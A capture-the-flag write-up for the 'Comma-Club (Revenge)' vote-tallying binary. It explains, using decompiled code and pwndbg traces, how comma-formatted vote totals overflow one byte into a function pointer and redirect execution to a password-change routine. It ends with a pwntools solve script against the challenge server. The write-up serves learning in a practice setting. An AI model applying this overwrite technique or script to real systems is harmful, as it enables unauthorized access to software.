Comma-Club (Revenge)
One-Byte Overwrite over Function Pointer
Analysis
Both challenges (Revenge/Non Revenge) have the same (unintended?) solve.
Lets analyze the binary.
void __noreturn main_menu()
{
int v0; // [rsp+4h] [rbp-Ch]
unsigned __int64 i; // [rsp+8h] [rbp-8h]
puts("Welcome to the Wyoming Vote Tallying Software\nPresented by Jeff!");
while ( 1 )
{
while ( 1 )
{
v0 = menu(
"Please select an option:\n"
"1) Enter votes for a candidate\n"
"2) View current vote totals\n"
"3) Close voting and display the winner (requires password)\n"
"4) Change password (requires password)\n"
"> ",
"Incorrect value, try again\n> ",
5LL);
if ( v0 != 4 )
break;
if ( (unsigned int)check_password() )
set_new_password();
}
if ( v0 > 4 )
{
LABEL_18:
puts("This should be unreachable, so there's nothing here. Congrats for finding it though!");
}
else if ( v0 == 3 )
{
if ( (unsigned int)check_password() )
close_voting();
}
else
{
if ( v0 > 3 )
goto LABEL_18;
if ( v0 == 1 )
{
add_votes_menu();
}
else
{
if ( v0 != 2 )
goto LABEL_18;
for ( i = 0LL; i < num_cands; ++i )
{
print_status(cand_array + (i << 6));
puts(byte_3449);
}
}
}
}
}
To summarize, there is a close_voting()
function which will give us a shell but we first require to pass the check_password()
.
Three structs of 64 bytes each are also initialized upon start of the program which roughly have this format.
struct Candidate{
char name[32]; // Name of the candidate (up to 31 chars + null terminator)
char status; // Status byte (1 byte)
char padding[15]; // Padding to make the struct align to 64 bytes
unsigned long long votes; // Votes (8 bytes, adjust if needed)
void (*vote_printer_selector)(void); // Function pointer for vote printing (8 bytes)
}
The main part is to focus on the votes
and vote_printer_selection
ptr.
Upon manually debugging, I noticed that if my total votes is above 1,000,000, i would get a segfault.
Program received signal SIGSEGV, Segmentation fault.
0x0000555555555435 in vote_printer_selector ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ REGISTERS / show-flags off / show-compact-regs off ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
*RAX 0x55555555c2a0 โโ 0x6c61746ff4
RBX 0x0
RCX 0x0
*RDX 0x555555555433 (vote_printer_selector+51) โโ add byte ptr [rax], al
*RDI 0x55555555c2a0 โโ 0x6c61746ff4
*RSI 0xf
*R8 0x1999999999999999
R9 0x0
*R10 0x7ffff7dbeac0 โโ 0x100000000
R11 0x0
*R12 0x7fffffffe3f8 โโธ 0x7fffffffe78c โโ '/home/kali/Desktop/Practice/HackTheVote/comma-club/challenge_patched'
*R13 0x555555555c07 (main) โโ endbr64
*R14 0x555555558d60 (__do_global_dtors_aux_fini_array_entry) โโธ 0x555555555280 (__do_global_dtors_aux) โโ endbr64
*R15 0x7ffff7ffd040 (_rtld_global) โโธ 0x7ffff7ffe2e0 โโธ 0x555555554000 โโ 0x10102464c457f
*RBP 0x7fffffffe2b0 โโธ 0x7fffffffe2d0 โโธ 0x7fffffffe2e0 โโ 0x1
*RSP 0x7fffffffe288 โโธ 0x555555555df6 (print_status+224) โโ nop
*RIP 0x555555555435 (vote_printer_selector+53) โโ add byte ptr [rax + 0xff3c3c9], dl
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ DISASM / x86-64 / set emulate on ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
0x555555555433 <vote_printer_selector+51> add byte ptr [rax], al
โบ 0x555555555435 <vote_printer_selector+53> add byte ptr [rax + 0xff3c3c9], dl
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ STACK ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
00:0000โ rsp 0x7fffffffe288 โโธ 0x555555555df6 (print_status+224) โโ nop
01:0008โ 0x7fffffffe290 โโธ 0x7fffffff0061 โโ 0x0
02:0010โ 0x7fffffffe298 โโธ 0x55555555c2a0 โโ 0x6c61746ff4
03:0018โ 0x7fffffffe2a0 โโ 0x7a12000000003
04:0020โ 0x7fffffffe2a8 โโ 0x3
05:0028โ rbp 0x7fffffffe2b0 โโธ 0x7fffffffe2d0 โโธ 0x7fffffffe2e0 โโ 0x1
06:0030โ 0x7fffffffe2b8 โโธ 0x5555555560d2 (main_menu+164) โโ lea rax, [rip + 0x1370]
07:0038โ 0x7fffffffe2c0 โโ 0x2ffffe2e0
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ BACKTRACE ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โบ 0 0x555555555435 vote_printer_selector+53
1 0x5555555560d2 main_menu+164
2 0x555555555d0f main+264
3 0x7ffff7c29d90
4 0x7ffff7c29e40 __libc_start_main+128
5 0x555555555205 _start+37
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
<snip ...>
0x55555555c2a0 0x0000006c61746ff4 0x0000000000000000 .otal...........
0x55555555c2b0 0x0000000000000000 0x0000000000000000 ................
0x55555555c2c0 0x001e848300000020 0x2020202020202020 .......
0x55555555c2d0 0x30302c3030302c32 0x0000555555555433 2,000,003TUUUU..
0x55555555c2e0 0x20646572666c6957 0x00736977654c204a Wilfred J Lewis.
0x55555555c2f0 0x0000000000000000 0x0000000000000000 ................
0x55555555c300 0x000f424100000053 0x0000000000000000 S...AB..........
0x55555555c310 0x0000000000000000 0x0000555555555400 .........TUUUU..
0x55555555c320 0x657474656e61654a 0x6374736557204420 Jeanette D Westc
0x55555555c330 0x000000000074746f 0x0000000000000000 ott.............
0x55555555c340 0x000f424200000054 0x0000000000000000 T...BB..........
0x55555555c350 0x0000000000000000 0x0000555555555400 .........TUUUU..
0x55555555c360 0x0000000000000000 0x0000000000020ca1 ................ <-- Top chunk
Upon further inspection, we see that we have successfully override the lsb of the function ptr in total!
Lets break it down to how that happens
Vote Conversion: Votes are converted using
strtol
, which interprets each byte as an integer value. The 8-byte space can hold up to 8 digits.Print Function: The
print_status
function callsprint_int_with_commas
to calculate and display the total votes by adding both candidates' votes.Comma Insertion: Commas are added between every 3 digits in the total. This formatting causes the displayed total to exceed the 8-byte limit when the vote count is high.
Overflow Risk: Since the formatted output (with commas) can exceed 8 characters, the overflow can overwrite the least significant byte (LSB) of the
total
structโsvote_printor_selector
.Exploitation Opportunity: By manipulating the vote inputs to exceed the digit limit, we can potentially call a different function by overwriting the last byte to a nearby function (
change_password)
We can see this in action where if we change the last byte to 0x39
which is equivalent to '9' in string, we can redirect execuution to change_password
!
pwndbg> x/10gx 0x0000555555555430
0x555555555430 <vote_printer_selector+48>: 0xc99000000076e8c7 0x894855fa1e0ff3c3
0x555555555440 <change_password_to+7>: 0x7d894820ec8348e5 0x000000f845c748e8
0x555555555450 <change_password_to+23>: 0x3c06158d4816eb00 0x0148f8458b480000
0x555555555460 <change_password_to+39>: 0xf84583480000c6d0 0xe3760ff87d834801
0x555555555470 <change_password_to+55>: 0x000010bee8458b48 0xfffcefe8c7894800
pwndbg> x/10gx 0x0000555555555439
0x555555555439 <change_password_to>: 0xe5894855fa1e0ff3 0xe87d894820ec8348
0x555555555449 <change_password_to+16>: 0x00000000f845c748 0x003c06158d4816eb
0x555555555459 <change_password_to+32>: 0xd00148f8458b4800 0x01f84583480000c6
0x555555555469 <change_password_to+48>: 0x48e3760ff87d8348 0x00000010bee8458b
0x555555555479 <change_password_to+64>: 0xfffffcefe8c78948 0x48e8458b48c28948
We can see that by default, the password that will be changed is the value in $RDI
which is the string 'Total'.
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ REGISTERS / show-flags off / show-compact-regs off ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
*RAX 0x555555559060 (password) โโ 0x0
RBX 0x0
RCX 0x0
*RDX 0x5
*RDI 0x555555559060 (password) โโ 0x0
*RSI 0x55555555c2a0 โโ 0x6c61746f54 /* 'Total' */
*R8 0x8e
R9 0x0
*R10 0x55555555c280 โโ 0x0
*R11 0x55555555c2b0 โโ 0x0
R12 0x7fffffffe3f8 โโธ 0x7fffffffe78c โโ '/home/kali/Desktop/Practice/HackTheVote/comma-club/challenge_patched'
R13 0x555555555c07 (main) โโ endbr64
R14 0x555555558d60 (__do_global_dtors_aux_fini_array_entry) โโธ 0x555555555280 (__do_global_dtors_aux) โโ endbr64
R15 0x7ffff7ffd040 (_rtld_global) โโธ 0x7ffff7ffe2e0 โโธ 0x555555554000 โโ 0x10102464c457f
*RBP 0x7fffffffe280 โโธ 0x7fffffffe2b0 โโธ 0x7fffffffe2d0 โโธ 0x7fffffffe2e0 โโ 0x1
*RSP 0x7fffffffe260 โโ 0x7
*RIP 0x555555555495 (change_password_to+92) โโ call 0x5555555551a0
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ DISASM / x86-64 / set emulate on ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โบ 0x555555555495 <change_password_to+92> call memcpy@plt <memcpy@plt>
dest: 0x555555559060 (password) โโ 0x0
src: 0x55555555c2a0 โโ 0x6c61746f54 /* 'Total' */
n: 0x5
Below is the solve.
from pwn import *
# Establish the remote connection
p = remote("comma-club.chal.hackthe.vote", 1337)
context.log_level = 'debug'
def send_input(prompt, message):
p.recvuntil(prompt)
p.sendline(message)
send_input(b'> ', b'1')
send_input(b'> ', b'1')
send_input(b'> ', b'500000')
send_input(b'> ', b'2')
send_input(b'> ', b'500009')
send_input(b'> ', b'3')
send_input(b'> ', b'2')
send_input(b'> ', b'3')
send_input(b'> ', b'Total')
p.interactive()
Last updated